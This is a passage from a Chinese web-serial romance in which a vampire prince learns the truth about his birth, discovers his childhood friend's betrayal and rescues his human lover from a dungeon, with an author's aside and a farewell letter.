尽管父母此刻的温情与莱特描述的残酷截然不同,但这份反常的温暖反而让他更加心痛。 “你、你就是因为这个离开……或者说,逃跑的?为什么都不愿意等爸爸妈妈回来,亲口问问呢?” 母亲讶异的声音陡然提高,猩红的眸瞳难以理解。 宁尔有些痛苦地低下头。 他该怎么解释呢? 哪怕从小在力量和速度方面表现非凡,在捕猎比赛中几乎都能拔得头筹,宁尔仍能深刻感受他,自己的血脉力量的弱小。 每次在他们面前展现时,几乎都能看到爸爸“失望”的目光,和妈妈偷偷的叹息声。 他也不止一次听过旁人说过,他长得漂亮,能力却没有公爵夫妇的十分之一。 因为如此,在听到基因检测结果之后,宁尔几乎没有挣扎,就接受了这个事实。 在某时某刻他心里甚至有过偷偷松口气的想法。 原来他不是亲生的,所以他的血脉能力再弱小,也和爸爸妈妈无关了。 他不会给他们抹黑了…… 他能力弱小,没有经历过战争,不需要亲自猎杀食物,从小像温室里的花朵一样被娇生惯养。 在面对异族被烧死的先例前,本能的恐惧与怯懦,让他甚至没有勇气、自私地否认了爸爸妈妈的爱。 “爸爸妈妈,我错了……在惩罚之前,可以答应我最后一个请求吗……”宁尔有些痛苦地呜咽起来。 “傻孩子,你在说什么啊?爸爸妈妈怎么会惩罚你?你哪有什么需要被惩罚的罪行呢?” 宁尔苍白畏缩的神情惹得两人一阵心疼,一时间不知道怎么和他解释。 宁尔有些不解地看着他们,公爵整理了一下思绪,精致的脸上表情严肃起来: “宝宝,整个伊极大陆我们没有授权给任何人为你做基因检测,在我们离开的日子里,谁给你做的基因检测?” 宁尔果然被吓得缩了一下,母亲立马转头凶父亲: “你别这么大声吓到宝宝。” 宁尔迅速思考了一下,没有回答他们的问题,反问道: “为什么我不可以做基因检测?” 所有吸血鬼在18岁那年都需要做基因检测,确保留在这片大陆上最纯正的血脉。 无一例外。 事情到现在以及太扑朔迷离了,宁尔感觉这中间隐藏了很多秘密,因为这些秘密造成了好多误会,甚至还要牵连到更多的人。 面对这个问题,公爵和公爵对视了一眼,彼此的眼神中隐含着为难。 “宁尔已经长大了,要不就,告诉他吧?”爸爸开口道。 妈妈还想挣扎什么,宁尔紧紧地握着她的手: “妈妈,告诉我,可以吗?我不想再体会一次,猜测不是你们小孩的滋味了。” 两个人点了点头,公爵挥手,空中霎时出现了一段影像。 昏暗的城堡内,宁尔坐在床上,静静地观看着空气中出现的画面。 那是一段充斥着暴力与血腥的画面。尖叫、嘶吼、法器、吟唱、火焰、鲜血……画面上,比现在更年轻一点的爸爸妈妈拼命和异族厮杀着。 整个城堡杀声震天,那是关于种族的生死之战,宁尔只在家族历史里看到过这场耗日持久,死伤惨重的战斗,第一次在火光震天里看到爸爸妈妈,心猛地跟着揪紧。 火光四起,必有家族覆灭。 影像画面一转,来到了城堡附近的研究塔下。 爸爸妈妈怀抱一个婴孩,忍着眼泪交给了一位老者。 在永生的吸血鬼世界,那个年龄格格不入的老者。 “请您……洗去他的基因……与伊极家族有关的基因……带他离开这里。” “哪怕代价是、是……再也没有基因链接,哪怕异能天生孱弱……” “哪怕无法继承家族血脉……” 一滴晶莹的泪滴从女人染血的脸庞上流下,她在婴孩的额头上最后亲了亲,决绝地把孩子交给了老者,转身,两只苍白的手紧紧牵在一起,双眸血红,一起走向黑暗。 画面到这里戛然而止,而关于这场战争最后的结果,所有生活在伊极大陆上的吸血鬼都知道结果。 宁尔似乎是被这场战争的画面吓傻了,久久没能动弹,两颊已经被晶莹的泪水打湿,过了很久之后才开口,颤抖到: “这个,是我?” 妈妈不忍直视他,点点头转过身去,爸爸长长地叹了口气抱着她,眼中似乎也泛着泪光。 宁尔感觉往日的点点滴滴正在以爆炸信息量在他脑子里重现,很多他疑惑过的事情,或者都没来得及疑惑的事情都有了解释…… 基因断裂,异能孱弱。 可是宁尔记得,有关力量、速度等能力,从小他在狩猎比赛中也都能拔得头筹。 从没有输过。 从来没有输过…… 宁尔忽然想到,好像从他有记忆起来,他身边永远有一群忠心的“朋友”,他所有的娱乐、比赛,都是和他们完成的。 这其中就包括莱特。 为什么他明明见识过莱特超过他的速度,却在比赛中一次一次输给他。 这些……都是爸爸妈妈安排好的? 他们怕他因为先天的缺陷而自卑,从出生起为他编织好一个极尽守护他的梦。 “宝宝,如果不是面临生死时刻,爸爸妈妈是绝对不会这样做的,你,你别怪我们……” 本以为这个秘密可以一直瞒下去,没想到却为此伤害了宁尔。 他们显然仍在为这件事自责,宁尔却很久没有说话。 整个城堡里只能听到公爵夫人轻轻流泪的声音,过了很久很久,宁尔抬起头,双眼泛红,声音干涩: “爸爸妈妈,我、一点、一点都不怪你们。” “只是想知道,我……是你们亲生的吗?” “确定、一定、百分之一万是。你永远都是爸爸妈妈唯一的宝宝。” 宁尔鼻子酸得厉害,眼泪吧嗒吧嗒掉落下来。 在人类世界的两年,他一次又一次思考的问题,一次有一次在心里否定又推翻,一次又一次想亲口问问他们。 他觉得自己很幼稚,很笨。 哭了一会儿,爸爸亲手帮他擦干眼泪: “这样看来,给你做基因检测的人另有图谋。主意打到你身上,看来是永生的滋味体验够了。” 公爵严肃起来,冷冽的眸子里流露出嗜血的杀意。 宁尔止住眼泪,快速思考着那天的异常。 犹豫再三,宁尔试探性地问道: “爸爸妈妈,你们有去找过我吗?” “当然!我们猜测了很多种可能,派人去各个大陆寻找过,都没有音讯。后来有人猜测也许可以去人类世界碰碰运气,又派人去人类世界找。” 难怪中介有段时间说过血包订单忽增,原来是去找他的吸血鬼! 宁尔看着他们忧虑的面庞和泪眼,这种对宁尔的极度担心下,他们派人找他,怎么都不像莱特所说的“盛怒”。 莱特…… 一个十分不好的想法在宁尔脑中出现,他的指尖轻轻颤抖起来,就连嘴唇都控制不住抖动,声音有些飘忽: “那……莱特呢?” “他也去了很多地方,现在应该还在人类世界。他是最了解你的朋友,我们本以为是他先找到你。你在人类世界见到他了吗?” 宁尔感觉自己的脑子“嗡”地一声炸开了。 一阵嗡鸣的眩晕在脑子里反复,几件难以解释的事情串联起来,一个令他难以置信的答案呼之欲出。 宁尔的指尖都在颤抖,他定睛看着公爵夫妇,他们也很敏锐地意识到了什么: “莱特有问题?” 这个问题一出,三个人都流露出难以置信的表情。 莱特对宁尔来说,不仅是朋友,更是亲人一样的存在。对于爸爸妈妈来说也是,几乎把他当做家族的一份子。 宁尔咽了口口水,把从莱特告诉他基因检测的结果、偷盗蓝宝石送他逃跑、误开人类世界临界门、又出现在人类世界找到他的事情交代出来。 宁尔看到公爵夫妇的脸色一点一点铁青起来: “他没有表现出半点知情的样子,反而和我们一样着急,自告奋勇去找你。” “如果不是艾达,恐怕爸爸妈妈还见不到你。” 宁尔迅速疏离了一下莱特的所作所为: “他的目的,好像是让我永远离开伊极大陆。” 如果是这样,就全部都说通了。 “他以为我们知道基因检测结果之后,会大发雷霆,永远流放你?可笑至极!” 公爵猩红的眼睛中流露出震怒,他平日里没少把莱特当成子辈,亲自教习他锻炼他,他就是这么回报家族的么? 莱特伙同为宁尔做基因检测的“医生”,给他设下了几乎必死的局。 然而公爵夫妇不但没有因为宁尔的基因问题大发雷霆,反而极度担心不惜开放临界之门派人寻找。 如果宁尔有朝一日能回来,那莱特的一切所作所为都会被拆穿。 宁尔不知道这期间莱特还做了多少的努力阻止,总之,在看到公爵夫妇的态度之后,他只能先行一步,假意去人类世界找到宁尔。 毕竟,他知道宁尔当时落入人类世界的具体位置。 他没有能力杀死宁尔,为了阻止宁尔回来,他在人类世界穿着宁尔的衣服,大费周折引起的那场车祸,希望可以借人类的手抓到甚至审判宁尔。 可他没有想到,这件足够引起轰动的事,又被傅宴舟解决了。 并且,他还知道了一个消息,蓝宝石…… 傅宴舟!!! 宁尔瞳孔猛地收缩起来,一阵剧烈的恐惧传遍全身,傅宴舟可能有危险! “我昏迷了多久?” “三天。” 吸血鬼世界的三天,人类世界的十天。 他已经消失十天了。 公爵夫妇看到宁尔脸色骤变: “怎么了?” “爸爸妈妈,我需要回一趟人类世界找一个很重要的人。” “不可以。” 宁尔话音未落,公爵就严肃地否定了他的想法。 “宝宝,你好不容易才回来,爸爸妈妈绝不会让你再冒险去人类世界了。” “我们和人类本来就是两个世界,如果你有欠过人类的钱,我们会派人加倍奉还。以后,你再也不需要回到那里了。” 他们神色严肃,哪怕再疼爱宁尔,都不允许他在这件事上胡闹。 宁尔根本不听他们的,努力想从床上下去,语气十分着急: “不是的,不是欠了钱。我要去救人,莱特还和他在一起,如果去晚了他会有危险。” “不行!” “宝宝,你刚刚醒来,身体还没恢复,还是先好好休息吧。” 公爵大手一挥,宁尔有种自己即将又要被关起来的预感,他大声叫到: “不要!” 宁尔的声音几乎有撕裂感,两人狠狠愣了一下,转头,看到宁尔已经伸手拿起来那个项圈: “爸爸妈妈……如果你们担心我丢了……我可以带上追踪器……” “或者,你们也可以派艾达跟着我。” “宁尔、你!……” 二人脸上流露出无比震惊的神色。 吸血鬼都知道这个项圈意味着什么。 先前他们只是不清楚宁尔的动机,害怕他贸然逃跑放在这里,可此刻事情的前因后果都水落石出,他竟然愿意为了一个人类戴上这种东西。 “你……非去不可吗?” 宁尔点点头,手指已经在拿着项圈靠近自己的脖子。 母亲飘然而至,快速出手抢下了项圈: “他是……一个什么样的人类?” 他们皱着眉,漂亮的眸瞳与沉着的语气中,满是高高在上的不解。 尽管几百年来没有纷争,人类和吸血鬼之间从不认为对方是什么高级物种。 宁尔和一个寿命短暂的人类也不值得有任何纠缠。 宁尔稍稍低头,沉默了几秒,在二人的注视下再度抬起头来,绿色的眼眸静静地看着他们,一个字一个字回答: “他是,我的爱人。”—— 作者有话说: 宁尔:出了个人柜 公爵夫妇晚上发帖:家人们,儿子出门一趟找了个男人怎么办【`xs.c`o`m 网】 70-76 第71章 找到你,是我唯一要做的…… 漆黑幽深的地下室内, 两侧大理石柱上只立着一只昏黄的铜灯。 光色从上而下照落,冰冷的地面上投下斑驳阴沉的黑影。 石砌水潭里暗红色的液体涌动,腥臭的味道散弥漫在地下室的每一个角落。 两道巨大的铁链下, 拴着一个被迫跪在地上的男人。 门阀转动的声音响起, 石阶上缓缓走下来一个“少年”。 他穿着华丽的黑色燕尾服, 下台阶后身影快速移动到男人面前,欣赏着他此刻的样子。 男人两只手臂被悬挂绑起, 黑色衬衫因为抬手被扯得凌乱, 膝盖在潮湿的地面上泥泞不堪。 金丝框眼镜早已不知所踪, 眼眶乌青, 嘴角肿胀, 高挺的鼻梁让苍白的面容更显瘦削。 “被轻视的感觉怎么样,低等的人类?” 少年轻蔑的声音在空荡的地下室回响, 音色有种恐怖的颤音。 傅宴舟缓缓抬起头,长久的低头跪地姿势令他肩颈酸痛麻木,发梢间有潮湿的汗水低落: “愚蠢。” 莱特抬脚踹在了傅宴舟身上,巨大的力气令他一阵猛咳。 莱特看到他狼狈至极的样子忍不住笑起来,笑完之后又他围着傅宴舟左右打量地走了几步, 十分好奇道: “宁尔,喜欢,人类,男人?” “果然,只有废物异种会喜欢上一个低等人类。” 傅宴舟闻言冷笑了一下, 嘴角在昏暗的环境泛出一个冰冷的弧度。 无论是人是鬼, 一个背叛挚友的人怎么可能理解爱这种情感。 莱特以为傅宴舟是被他踢疼了吓破了胆,满意地冷哼了一声。 “你不是很厉害吗?人类?” “你能在你的公司前让人毫不留情驱赶我,又能派人找到我的藏身之地, 能在我公然挑衅,让宁尔为了你疏远我,施舍我房屋,像看狗一样蔑视我?” “如果不是那个废物整天和你黏在一起,你早就死了。” 他费尽心思穿着宁尔的衣服在最繁华的路口引起了那么大的车祸,人类不是最喜欢热闹和围剿吗? 一个违反交通规则,伤人害命的人,已经迅速传播起来的新闻事件,凭什么被他一夜之间轻飘飘压下去? 就因为他有一些人类的臭钱,就可以住在宽敞明亮大房子里,在高楼大厦里吆五喝六,扮演高高在上的王者? 而偏偏在一个血脉不纯的异种,哪怕都已经流落在人类社会了,还能恰好和这样的“上层人”勾连在一起,在人类世界都能享受到一切舒适便利。 这种低级的高贵,也只有两个人之间彼此欺骗吧。 虚伪,肮脏。 偏偏这样虚伪无能的人类,竟然能拥有通行异界的蓝宝石。 另一个绝妙的计划在脑子里渐渐成型,如果是宁尔为了蓝宝石而杀了这个人类,人类世界还会放过这样一只罪大恶极的吸血鬼么?伊极大陆会接纳破坏和平的异种么? 死了的人类,还能再次帮宁尔摆平事情吗? 他一遍又一遍在脑子里将这件事情计划周密,巨大的兴奋感让他甚至睡不着觉。 只是偶尔,很偶尔,想到宁尔说带他在人类世界看星星、去游乐场的时候,心里有一种说不出来的感觉。 “与其说这些话,你倒不如去多打听一下宁尔消息。我并不想看到自己的合作者因为愚蠢浪费时间。” 傅宴舟扭头啐了一口血沫,用仍旧沉稳淡然的语气和莱特交谈,如同还在盛景当总裁发号施令一般。 “你!” 莱特甚至懒得再对他动手,不屑道: “人类不是很喜欢祈祷么?你最好此刻就跪在这里祈祷,事情能向你活下来的方向发展。” “我可以告诉你,他的确已经回来了。公爵夫妇亲自派人抓回来,好像伤得不轻,现在还在昏迷中。” 傅宴舟猛地扭动胳膊,似乎是听到宁尔受伤的消息担心愤怒,想要挣脱锁链。 莱特怪笑了几声,劝他别白费力气了。 傅宴舟停止了挣扎,锁链响动的声音渐渐停止,他在黑暗中微微扬了扬嘴角。 到现在为止,他都猜对了。 在宁尔消失的那一刻起,傅宴舟立即盯住了莱特。莱特的存在和震惊让傅宴舟松了一口气,至少,不是他做的。 当他听到宁尔“消失”在了一个房间之后,哪怕极度颠覆自己的世界观,傅宴舟也迅速整理思绪面对这个问题。 宁尔多次说过,他是因为不是“亲生的”,在挚友莱特的帮助下逃离了“家”,但这一想法并未被亲自证实。 其后莱特忽然出现,假扮宁尔制造车祸,目的再明确不过。 他想让宁尔永远不能回到“家”。 显然,宁尔的离开“家”之后并没有受到莱特本以为的制裁或惩罚。 因此,在莱特原形毕露,伸出尖牙,以生命威胁他说出蓝宝石的下落时,傅宴舟顺势提出了“合作”,他要莱特带他去到那个世界。 他告诉莱特,宁尔回到吸血鬼世界,会面临两种可能。 一种是被制裁、惩罚。 一种是基因检测有误,亦或者哪怕基因存在问题,父母也不会制裁自己从小养大的儿子。 傅宴舟说到后一种可能时,莱特仿佛听到天方夜谭一般,鄙夷地否认了他的猜测。 而傅宴舟却告诉他,莱特这种能够出卖挚友,一次又一次至朋友于死地的人,当然不会理解这种感情。 傅宴舟提出了自己的筹码,如果宁尔没有受到制裁,危险的就是莱特,他的一切所作所为都会公之于众。 他手里的傅宴舟,会是唯一的人质。 这个愚蠢的人类,为了暂时的活命连什么借口都想得出来。他该不会真以为一个吸血鬼会救他吧? 不过把他带回来关着也不是什么费劲的事,看着那个废物小心翼翼对待的人类被他折磨成这样,是一件更有趣的事。 而且,万一呢? 他到是真想看看,整个伊极大陆的统领者,亲手烧死过异种的公爵夫妇,会怎么对待自己的废物异种“儿子”。 也想看看,善良正直的宁尔,会怎么对待这个低等的爱人- 宁尔和艾达穿行在黑暗的丛林里,尽量保持着飞快的速度。 他始终紧皱眉头一声不吭,任凭艾达在一旁如何道歉。 “宁尔,我真的没有伤害那个人类,他实在不肯配合出卖你,我只能把他绑起来逼他一下。” “我们找你找了太久,我很害怕你会再跑掉,只能把你电晕了……” "公爵夫妇真的很担心你,姐姐也很担心你……" “艾达,我没有生气。”宁尔飞速穿行中摇了摇脑袋:“我只是现在脑子里在想一些别的事情。” 宁尔的脑子里此刻只有莱特。 或者说,莱特的所作所为。 从他有意识以来,这个和他同岁的男孩就出现在了城堡里。 他们一起训练,一起学习,一起捕猎,一起长大。 哪怕宁尔身后有再多的追随者、朋友,莱特始终都是他最好的朋友。 爸爸妈妈的严厉从来是对于他们两个人的,偶尔在异能上莱特表现比他们好一点,公爵夫妇夸奖了他,察觉到宁尔心里的落差之后,他都会主动来安慰宁尔,或者用拙劣的“魔法”逗他开心。 他们一起外出的时候,有时候宁尔戴着帽子,甚至有人会把他们两认错。 宁尔记得,他们一起挤在树上看星星的时候,莱特指着远处天上两颗星星,一大一小,一明一暗,莱特和宁尔说,我们就好像那两颗星星。 宁尔摇摇头,而是给他指了另外两颗星星。 两颗一样大的明星高悬,星光璀璨,宁尔说,莱特,这才像我们,像双子星。 冰冷的液体出现在脸上,宁尔抬手一摸,才发现自己流泪了。 他的眼泪,好像从来没有这么冷过。 到底是从什么时候开始,莱特对他有了很坏的念头。 甚至是希望把他丢在人类世界永远回不来。 到底是因为什么,宁尔需要接受挚友的背叛。 从小到大他学习过那么多关于异大陆吸血鬼、狼人的恐怖威胁,听了那么多关于人类关于虚伪的告诫,唯独没有学习过,该怎么面对挚友的背叛。 泪水模糊了眼前的视线,宁尔抬手,擦了一遍又一遍。 很快到了临界之门,艾达看到宁尔的状态有些担心: “你还好吗宁尔?” 宁尔很快把眼泪擦干,没有一丝犹豫点点头: “我们走。" 人类世界,A市。 哪怕出现的地方和第一次有偏差,好在还是在A市。 他迅速拿出手机定位盛景,和艾达说了一句跟紧我之后就飞奔出去。 来到盛景时候已经是晚上九点多,艾达看到这繁华人类世界的高楼大厦里最高的那栋,忍不住心里有些发怵。 她看到宁尔没有丝毫犹豫大步走进去,也紧紧跟在他的身后。 每次回过吸血鬼世界之后,他们身上的吸血鬼相貌特征都会尤为明显。 两个身着黑衣,皮肤白皙,绿色瞳孔,浑身散发着寒气的人大步往盛景走,门口的前台保安都愣了一下,看清来人之后才赶紧跑过去帮忙按电梯: “宁总好。” 宁尔带着艾达直接乘坐专梯来到顶层,电梯飞速上升的空隙,宁尔紧张地心跳到了嗓子眼。 电梯门开,宁尔不顾走廊里秘书助理的目光,直接来到傅宴舟办公室门前。 门是关着的,宁尔敲门,没有回复。他又用了拍了一遍,仍旧没有回应。猜测的坏结果一步步出现,宁尔感觉呼吸都停滞了。 直到此刻,他才想起来,手机。 打电话,给傅宴舟打电话。 他靠在门上,指尖颤抖地拿出手机,正要拨通,走廊里传来一阵急促的脚步声: “宁总?” 宁尔抬头,是肖特助,他胡子有些长,眼里红血丝很重: “宁总,你回来了?”肖特助语气惊讶,惊讶之余仿佛有种终于等到人的落定感。 宁尔点点头: “傅总呢?” 肖特助脸色变得很复杂,看了一眼宁尔身后的女人: “这位是?” “我姐姐。” 肖特助没再多说: “宁总,跟我来。” 他带宁尔和艾达来到另一个房间,一进去就开门见山: “宁总,傅总、傅总好像不见了。” 宁尔感觉自己脑中的弦仿佛崩断了,一屁股跌坐在了沙发上。 肖特助表情严肃,也是继续道: “宁总,你能先告诉我,这十几天您真的出国培训了吗?” “出国培训?” 肖特助点点头: “在傅总……离开前几天,他忽然很着急,整个人状态非常差,你也没有再出现。我担心他的身体状态,去您的直播间看了看,发现是傅总帮您请了长假,理由是出国培训。” “虽然也有很多人有疑问,但傅总的身份还是足够有说服力。” 宁尔心里某些东西轻轻落下了一些。 他虽然最担心傅宴舟,但也想过自己忽然消失那么久,全国各地那么多粉丝发现他不见了会不会报警,闹得天翻地覆。 原来,是傅宴舟连这个都想到了。 发现自己忽然消失,本应该最崩溃的时候,傅宴舟第一时间做得,竟然是帮他安抚好粉丝。 宁尔的鼻子酸得发痛,眼眶再度模糊,他清了清嗓子: “然、然后呢?” “当晚,傅总交待我很多公司的事情,甚至必要时刻可以启用危机管理委员会。他说,他要出一趟远门,不知道多久的远门,也没有说去哪里。” 肖特助复杂的表情满是难以置信。 傅宴舟如此严谨审慎,怎么会这么轻易做出这样的决定。 更何况事情出在宁尔离开之后,说和他没关系大概没有人会信。 “宁总,现在你回来了,你一定知道傅总会去哪里吧?” 宁尔感受到心中一阵阵刺痛,就连艾达在一旁都看不下去了。 几个小时前,她还在为宁尔竟然爱上了一个人类,并且要不顾一切回人类世界而费解,觉得宁尔是疯了。 可当她此刻踏入人类世界,踏入那个人类的“地盘”,听到他一个平凡的人类,在都不知道宁尔是吸血鬼的情况下,就抛弃一切满世界去找…… 艾达深深吸了一口气,转过头,不敢面对那个中年人类殷切期待的目光。 “去哪里……” “去哪里找我……” “没有报警,为什么没有报警……” “蓝宝石,对,去看看蓝宝石还在不在……” 宁尔自言自语就要离开,肖特助忽然大声叫住他,他快步走到办公桌后,输入密码打开了地上的保险箱,从里面拿出一个信封: “宁总,这是傅总给你的留的东西,他说如果有一天你回到了这里就拿给你,让我一定机密保管。” 宁尔心一抖,飞快地接过信封拆开,满页熟悉又潦草的钢笔字体映入眼帘。 他好像写得很急,急到再久一点就永远没时间了。 宁尔和傅宴舟学过写字。 在发现宁尔写字像画画一样困难之后,傅宴舟握着宁尔的手,一遍一遍在纸上教他写下他的名字。 宁尔,傅宴舟;宁尔,傅宴舟。 那是他唯一认识的人类的字体。 亲爱的小耳朵: 见信如唔。 如果你能看到这封信,那大概是没有被你的家庭“为难”,甚至,也没有不是“亲生”的。恭喜宝宝,你感受到的所有的爱,都是真实、长存的。 没能在你身边亲眼见证这一刻,是我的遗憾。但哥哥还是衷心为你感到高兴,从今以后,你是更幸福的小耳朵。 写下这封信的时候,我仍无法完全确定你的“身份”。 我浅薄的世界观与固执,让我屡次忽视你的坦白,错过很多机会,一手造就了今天这个最“糟糕”的时刻。 我猜,你说过的那个只有我拥有,能让你回家的东西,应该就是那枚你驻足良久的蓝宝石吧。 我那时只以为你喜欢红色,更没有在意所谓的名贵价格。毕竟你站在我身边,就已经是我最宝贵的一切。 亲爱的小耳朵,我是一个平凡的人类,无论你是什么身份—— 遇到你,都是我一生中幸运的事。 找到你,是我唯一要做的事。 我会尽最大可能让自己不陷入最危险的境地。 答应哥哥,无论做什么,你也要一样。 我们…… 晚些见。 亲爱的小吸血鬼殿下,一切安好。 第72章 他的爱人,好轻,好轻。…… 地下室沉重的铁门再度被打开, 来人这次的脚步急促了不少。 莱特迅速走到傅宴舟面前,手一挥把绑着他的铁链松开,长时间的悬吊让傅宴舟两条胳膊早已失去了知觉, 失去重心跪倒在地上。 莱特走上去, 忍住了动脚的冲动, 兴奋地打量着傅宴舟: “喂,你可别死啊。你死了可就不好玩了。” 傅宴舟尽力稳住下身, 缓了很久撑坐在地上, 腰部和膝盖也已经没了知觉, 他侧了侧脑袋, 躲过屋顶低落下来的潮水: “还没见到小耳朵, 怎么会死。” 莱特嗤笑了一声,摆了摆手: “我来告诉你两个消息。” 傅宴舟闻言, 立马抬起了沉重的脑袋,看着莱特的眼里一瞬间有了光亮。 这种光亮莱特在宁尔眼里也见过,仿佛蛰得他眼睛烫了一下,令人恼火。 莱特移走眼睛,轻蔑道: “你在人类世界, 到底是个什么样的人物啊?为什么能同时拥有两枚蓝匙?” 傅宴舟眉头几不可查地轻蹙了一下,疑惑道: “两枚?什么?我听不懂。” “你少装傻。带枚通向异界的蓝宝石,一模一样的。” 傅宴舟沉默了一会儿,抬头,眉头轻蹙看着莱特: “你想干什么?” 莱特嗤了一声: “第二个消息。宁尔基因有异的消息已经传遍了整个伊极大陆, 公爵家族正在紧急商议怎么处死这个异种。” 傅宴舟眉头一跳, 浑身瞬间爆发颤抖般,两只疲惫布满血丝的瞬间通红,脖颈处青筋暴起, 似乎要站起来把所有的怒气都发在莱特身上。 莱特被他忽然的动作吓了一跳,下意识后退两步,险些被衣袍绊倒。 反应过来后才用力一掌,狠狠把傅宴舟拍到石墙上: “现在不是你发疯的时候。” “普通血族基因有异都得被处死,那个废物顶替了公爵之子的身份,享受着无上的荣耀和优待,天赋能力低下的废物,原来连身份都是假的。” 傅宴舟被莱特一掌推得直接撞出了鲜血,口中一股腥甜味传来,傅宴舟努力把血咽下去,后背轻颤: “顶替?顶替了谁?”傅宴舟的眼神紧紧盯着莱特。 “我怎么知道。”莱特似乎在嫌傅宴舟话多。 “你觉得他顶替了你,你和他是双子星却能力优于他,你才应该是那个公爵夫妇真正的儿子?” 傅宴舟语气直白,每一句都以极其简洁的用词戳破莱特虚伪的野心。 从他的态度骤变到所作所为,这幅狸猫代太子的野心昭然若揭。 莱特没想到这个男人这时候还敢这么对自己说话,被一个人类戳破野心的羞恼涌上心头,又一脚重重地踹在傅宴舟身上。 “一个低等人类,谁允许你揣测我?为了那个废物?为了你们见不得人的爱情?” 莱特冷笑道: “不好意思,刚才第一个消息还没说完。你有两枚蓝钥的事就是你的小情鬼宁尔,亲口坦白的。他已经把他在人类世界的所作所为交待了干干净净。没想到这个废物在这里一事无成,在人类世界倒是有你这个意外收获。” “各大家族都在找这块蓝钥,用不了多久,会有鬼侍潜入你的地盘,彻底找到那枚蓝钥。你这个人,更是家族感兴趣的。” “被恋人亲口出卖的感觉,怎么样?” 莱特玩味地看着傅宴舟,这个人类总是用那些高尚的词语,借着道德的来侮辱他,现在他自己又是什么感觉? 傅宴舟闻言,额头似乎有冷汗浸下,眯了眯眼,看着莱特: “你想干什么?” 莱特怪笑了笑: “你这是什么态度?至少在我这里保住了命,能多活一段时间,不开心吗?” “从现在起,我得保证你不能死。这个月约好的临界之门打开时间一到,我就可以光明正大出现在伊极,等待合适的机会把你送给公爵夫妇。” “揪出异种,抓到你,拿到蓝钥,你说我配不配做公爵的儿子?” “别这么愁眉苦脸,既然都是家族的敌人,说不好,你可以和那个废物一起被处刑呢。” “或者,你乖乖交出蓝钥活着回去,享受你在人类世界的荣华富贵。” “和宁尔有关的一切……” 说到“宁尔”这两个字的时候,仿佛是预见了他接下来的命运,莱特眼神不受控地跳动了一下: “就当是一场梦吧。”- 夜风猎猎,星光黯淡。 整个伊极大陆都在流传着宁尔基因不纯,已经被公爵夫妇收押,即将接受审判处刑的消息。 所有关于宁尔异能低下的困惑、质疑,这一刻都有了解释。 哪怕他平日里温顺和煦,貌美异常,从未被质疑过高贵的身份。 城堡里,公爵夫妇听着关于宁尔添油加醋的流言,看着决心如此的儿子头疼不已。 根据宁尔分析,莱特应该是已经抓回了一个人类,并且,还是一个拥有蓝钥的人类。 吸血鬼与人类已经缔结了上百年的和平条约,如果莱特真的贸然伤害了这个人类,将在所有大陆引起震荡。 处决莱特的方式一定还有其他,可宁尔偏偏要用这一种。 他不能看到那个人类受到一点伤害。 城堡里的光明明灭灭,宁尔坐在大殿右侧,身体僵硬,苍白的脸上表情空洞,整个人仿佛没有生息。 直到有脚步声越来越近,越来越接近城堡大殿,宁尔的心再度提到了嗓子眼里。 一身黑衣的侍卫快步走到大殿之下向公爵夫妇汇报: “莱特已经返回临界之门,一切已布置妥当,等待公爵指示。” 宁尔猛地站起身,不顾可能被看到的眼光,深深看向公爵夫妇。 公爵挥了挥手: “动用你的全部力量,控制莱特的个人住所,不许有任何伤亡,至于那个人类……” “人类我去救,除我之外谁都不许靠近。” “宁尔,你一个人危险……” “就这样,谢谢各位了。” 宁尔说完就转身出门,黑暗中训练有素的黑衣吸血鬼侍卫整装待发,这是公爵鲜少动用的杀侍。 所有人都戴上了黑色面罩,唯独宁尔没戴。 宁尔从队尾走到最前方,猩红的眼眸在暗夜中如同嗜血玫瑰,夜风吹在这个尊贵王子的脸上,眼神中是一种从未有过的坚毅。 然后,在所有人的注视下,宁尔拿出那只项圈戴在了自己的脖子上。 不少人看到这个项圈都颤抖了一下。 对于他们来说,这东西代表着对于生命的绝对掌控权。 为了……人类? 从人类世界返回的当晚,他就说服公爵夫妇,立即传出宣判自己异种的消息。 同时宣告大肆搜找人类傅宴舟,因为他身上的两块蓝宝石。 这一连串的谋划,哪怕都是出自公爵之口,没有被亲眼证实,但宁尔却能保证莱特会相信。 他太了解莱特了。 从小到大,只要莱特在一件事要成功之前,都会被兴奋冲昏头脑,总会出些大大小小的纰漏。 同样,莱特也了解他。 那么在意名誉、形象的公爵之子,怎么可能用基因身份的事造假,只是为了救下一个人类。 为了以防万一,宁尔选择把最后一条后路留给了傅宴舟。 他主动戴上项圈,哪怕陷入绝境,自己也能换出来傅宴舟。 毕竟,在这个世界,小耳朵的价值要比傅总更大。 宁尔脑中飞速掠过这些想法,一路领先飞奔潜入一处更为阴暗的小楼- 沉重的石门再次被推开,一点光亮的透入让地上的身影蜷缩微动了一下。 宁尔浑身猛地一颤,双腿像灌了铅一样难以移动。 停滞了几秒,地上的身影似乎差距到了什么,努力撑起身体缓缓坐直。 “哥哥?” 宁尔试探地叫他,声音一出口竟然已经带上了哭腔。 哪怕是无尽黑暗里的背影,也足够宁尔认出来这是傅宴舟。 傅宴舟听到他的声音,竟然下意识扭头往石墙面躲去。 宁尔飞奔到他身边,傅宴舟先一步试图推开他。 他身影清瘦地不像样,不知道穿了多久的衬衫已经变得不合身形,干哑的喉咙里吐字都无比艰涩。 “别,别靠太近。” “哥哥身上脏……” 眼泪瞬间夺眶而出,宁尔看到傅宴舟极力躲避的面庞,停在离他咫尺的地方,他跪在地上,想要触碰傅宴舟的手悬在半空。 傅宴舟缓缓转过头,看着宁尔一身黑衣黑袍,白皙的面庞,耳朵略尖,双眼猩红,在这暗色的石牢中没有几乎看不出人类的模样。 傅宴舟定定地看着宁尔,宁尔下意识想遮,傅宴舟却先开口道: “很漂亮。” “小吸血鬼殿下。” 那怕面无血色,嘴唇干涸,傅宴舟仍在尽量用最沉稳的语气同宁尔玩笑。 眼泪像决堤的决堤的珠子落下,宁尔努力用手背擦干净,学着他的语气: “现在都知道我是吸血鬼了,还不害怕吗?” “小耳朵?”傅宴舟虚弱地叫。 “嗯?” 这三个字他叫了太多次,宁尔几乎是下意识回答。 傅宴舟抿了抿唇,苍白的脸上浮现出一抹清透的笑意: “是我的,就不怕。” 宁尔再也管不了那么多,和傅宴舟扑抱在一起,委屈和愧疚涌上心头,忍不住地哭起来。 傅宴舟愣了一下,浑身狠狠一颤,耳后轻轻拍着宁尔的后背,如同他们第一次见面那样: “没事了,宝宝,没事了。” “你应该看到了我留的信。” “我们答应过彼此尽量不陷入危险的境地,现在都做到了,对不对?” “从你想办法给莱特放出消息的时候,哥哥就猜到了,哥哥一直在等,你会来救我。” 